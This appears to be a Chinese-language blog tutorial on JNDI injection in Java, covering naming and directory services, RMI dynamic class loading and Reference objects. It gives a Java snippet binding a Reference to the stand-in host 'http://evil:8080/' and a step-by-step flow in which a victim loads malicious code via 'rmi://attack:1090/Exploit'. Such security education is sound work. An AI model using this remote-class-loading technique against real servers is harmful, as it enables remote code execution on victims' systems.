JNDI注入入门

最新的Weblogic cve-2019-2725与Fastjson JdbcRowSetImpl利用链都用到了JNDI注入,学习一波


JNDI介绍

JNDI即Java Naming and Directory Interface,就是一组在Java应用中访问命名与服务的API。为开发人员查找和访问资源提供了统一的通用接口,可以用来定位网络 机器 用户 对象等各种资源。JNDI底层提供了很多实现方式,有RMI LDAP CORBA等,这些服务器注册的服务可以通过JNDI提供的一个统一外部接口去访问调用。

2019-05-10.22.07.33-image.png

Java Naming

键值对的绑定,应用程序可通过键检索值

Java Directory

是对Java Naming的补充扩张。差别为Java Directory可以根据属性搜索对象。在目录服务中,JNDI允许访问文件系统中的文件,绑定在RMI服务器的对象,LDAP服务与其他组件。

JNDI将名字与对象绑定,可以通过名字检索存储在RMI LDAP服务器上的对象,所以提供了绑定与检索方法

1
2
void bind(String name,Object obj) //将对象绑定到name上			
Object lookup(String name) //通过名字检索Object对象

Jndi Naming Reference

对象可以通过绑定Reference存储在Naming与Directory服务下(RMI LDAP等),在使用reference时,我们可以直接将恶意代码写在构造方法中,当被调用时,执行我们的恶意代码

如果远程获取RMI服务器上的对象为Reference类或者其子类时,可以从其他服务器上加载class文件来进行实例化。

Reference对象属性:

  • className:加载使用类名
  • classFactory:加载的class需要实例化的类名
  • classFactoryLocation:class文件的地址(支持ftp http file协议)
1
2
Reference reference = new Reference("Class1","Class2","http://evil:8080/" );			
registry.bind("evil", new ReferenceWrapper(reference));

当客户端通过lookup("evil")获取远程对象时,由于获取的是Reference实例,客户端首先去本地查找Class1类,如果本地未找到,就回去请求http://evil:8080/Class2.class去获取并调用Class2的构造函数

JNDI协议动态转换

简单说就是调用lookup()或者search()时,可以使用URL 动态转化上下文环境。在初始化时已经指定了RMI环境,但是在调用lookup()时,可以直接使用ldap协议改变上下文协议,使其可以访问LDAP服务上的对象

2019-05-15.13.44.39-image.png

RMI介绍

RMI的核心特点:动态加载类

当前JVM中无这个对象,就会去指定的url去下载。当客户端访问某个对象时,由于本地并没有这个对象,那么就会去访问服务器返回的url地址,由客户端自己去访问下载并解析执行

JNDI与RMI的关系可以理解为,JNDI获取RMI服务器绑定的对象,或者远程对象。在漏洞利用当中,一般都是通过JNDI获取RMI服务器提供的远程对象。 官方文档

JNDI注入

JNDI注入的几个条件

1.lookup()方法的参数可控
2.允许使用带协议的url进行动态协议转换
3.Reference类动态代码获取实例化

攻击流程:

1
2
3
4
5
1.攻击者通过可控url触发动态协议转换(rmi://attack:1090/Exploit)
2.受害者服务器原上下文环境被转换为rmi://attack:1090/Exploit
3.受害者服务器去rmi://attack:1090/Exploit请求绑定对象Exploit,攻击者实现准备好的RMI服务器返回一个ReferenceWrapper对象(Reference("Class1","Class2","http://evil:8080/"))
4.应用获取到ReferenceWrapper开始在本地查找Class1,发现无,则去请求http://evil:8080/Class2.class
5.web服务器返回事先准备好的恶意class文件,受害者服务器调用Class2的构造方法,恶意代码执行

在Fastjson中,漏洞利用与反序列化联系不是很大,就是在对Gadget类中属性进行反序列化时调用了危险函数lookup(),且参数可控,利用JNDI注入完成攻击

参考链接

https://paper.tuisec.win/detail/dc4561a322b87f4
https://laworigin.github.io/2019/03/23/Spring-Deserialize-RCE-JNDI-Inject/

http://www.nsoad.com/Article/web/20161011/525.html